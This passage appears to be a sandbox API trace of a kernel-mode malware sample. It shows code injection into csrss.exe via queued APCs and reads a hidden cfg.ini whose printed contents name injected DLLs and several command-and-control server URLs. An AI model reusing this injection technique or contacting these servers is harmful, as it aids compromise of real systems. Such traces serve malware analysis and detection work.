MemoryDescriptorList=0xfffffa800d30e960) [0071.483] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.483] IdePortDispatch () returned 0x103 [0071.483] KeWaitForMutexObject () returned 0x0 [0071.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.486] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.486] IdePortDispatch () returned 0x103 [0071.487] KeWaitForMutexObject () returned 0x0 [0071.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.487] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.487] IdePortDispatch () returned 0x103 [0071.487] KeWaitForMutexObject () returned 0x0 [0071.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.487] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.487] IdePortDispatch () returned 0x103 [0071.488] KeWaitForMutexObject () returned 0x0 [0071.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.488] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.488] IdePortDispatch () returned 0x103 [0071.488] KeWaitForMutexObject () returned 0x0 [0071.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.489] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.489] IdePortDispatch () returned 0x103 [0071.489] KeWaitForMutexObject () returned 0x0 [0071.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.489] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.489] IdePortDispatch () returned 0x103 [0071.489] KeWaitForMutexObject () returned 0x0 [0071.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.490] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.490] IdePortDispatch () returned 0x103 [0071.490] KeWaitForMutexObject () returned 0x0 [0071.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.490] KeLeaveCriticalRegion () [0071.490] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.490] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x100000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0071.491] RtlImageNtHeader (BaseAddress=0x100000) returned 0x100040 [0071.491] RtlImageDirectoryEntryToData (in: BaseAddress=0x100000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0071.491] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x120000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0071.491] _snprintf (in: _Dest=0x120020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0071.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800d30e8f0 [0071.491] KeInitializeApc (Apc=0xfffffa800d30e8f0, Thread=0xfffffa8003546060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x120128, Mode=0xfffff88000000001, Context=0x120000) [0071.491] KeInsertQueueApc (Apc=0xfffffa800d30e8f0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.491] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0071.491] ZwClose (Handle=0x48) returned 0x0 [0071.491] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.491] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.492] KeEnterCriticalRegion () [0071.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.492] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.492] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003495420, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0071.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.492] KeLeaveCriticalRegion () [0071.492] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.492] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0071.492] PsGetProcessImageFileName () returned 0xfffffa80028f18f0 [0071.492] _snprintf (in: _Dest=0xfffffa80034e7ee8, _Count=0x103, _Format="%s (x64)" | out: _Dest="csrss.exe (x64)") returned 15 [0071.492] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.492] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.492] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.492] KeEnterCriticalRegion () [0071.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.493] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.493] IdePortDispatch () returned 0x103 [0071.493] KeWaitForMutexObject () returned 0x0 [0071.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.495] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.495] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.495] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.495] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800190a980 [0071.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.495] KeLeaveCriticalRegion () [0071.495] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.495] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.495] NtLockFile (in: FileHandle=0xffffffff800001dc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.495] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.496] KeEnterCriticalRegion () [0071.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.496] KeLeaveCriticalRegion () [0071.496] ZwQueryInformationFile (in: FileHandle=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.496] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.496] KeEnterCriticalRegion () [0071.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.496] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.496] IdePortDispatch () returned 0x103 [0071.496] KeWaitForMutexObject () returned 0x0 [0071.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.497] KeLeaveCriticalRegion () [0071.497] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.497] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a0064814d0 [0071.497] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.497] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.497] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="csrss.exe (x64)=") returned 16 [0071.497] _strlwr (in: _Str="csrss.exe (x64)=" | out: _Str="csrss.exe (x64)=") returned="csrss.exe (x64)=" [0071.497] ZwReadFile (in: FileHandle=0xffffffff800001dc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0064814d0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a0064814d0*) returned 0x0 [0071.497] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.497] KeEnterCriticalRegion () [0071.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a94d0 [0071.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.497] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.497] IdePortDispatch () returned 0x103 [0071.498] KeWaitForMutexObject () returned 0x0 [0071.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.498] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.498] IdePortDispatch () returned 0x103 [0071.498] KeWaitForMutexObject () returned 0x0 [0071.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.498] KeLeaveCriticalRegion () [0071.498] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.498] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.498] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="csrss.exe (x64)=") returned 0x0 [0071.499] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.499] ExFreePoolWithTag (P=0xfffff8a0064814d0, Tag=0x0) [0071.499] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.499] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.499] KeEnterCriticalRegion () [0071.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.499] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003546dd0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.499] KeLeaveCriticalRegion () [0071.499] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.499] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.499] KeEnterCriticalRegion () [0071.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.499] ExFreePoolWithTag (P=0xfffffa800190a980, Tag=0x0) [0071.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.499] KeLeaveCriticalRegion () [0071.499] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.499] ZwClose (Handle=0xffffffff800001e8) returned 0x0 [0071.499] KeSetEvent (in: Event=0xfffffa80034e7bc0, Increment=0x0, Wait=0 | out: Event=0xfffffa80034e7bc0) returned 0 [0071.911] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x19c, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800001dc) returned 0x0 [0071.911] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.911] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001f4, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.911] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.911] KeEnterCriticalRegion () [0071.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.911] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.911] IdePortDispatch () returned 0x103 [0071.912] KeWaitForMutexObject () returned 0x0 [0071.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.912] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80018b0510 [0071.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.912] KeLeaveCriticalRegion () [0071.912] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.912] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.913] NtLockFile (in: FileHandle=0xffffffff800001f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.913] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.913] KeEnterCriticalRegion () [0071.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.913] KeLeaveCriticalRegion () [0071.913] ZwQueryInformationFile (in: FileHandle=0xffffffff800001f4, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.913] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.913] KeEnterCriticalRegion () [0071.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.913] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.913] IdePortDispatch () returned 0x103 [0071.913] KeWaitForMutexObject () returned 0x0 [0071.914] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.914] KeLeaveCriticalRegion () [0071.914] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.914] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00648a150 [0071.914] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.914] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.914] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0071.914] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0071.914] ZwReadFile (in: FileHandle=0xffffffff800001f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00648a150, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00648a150*) returned 0x0 [0071.914] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.914] KeEnterCriticalRegion () [0071.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003428150 [0071.914] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.914] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.914] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.914] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.914] IdePortDispatch () returned 0x103 [0071.915] KeWaitForMutexObject () returned 0x0 [0071.915] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 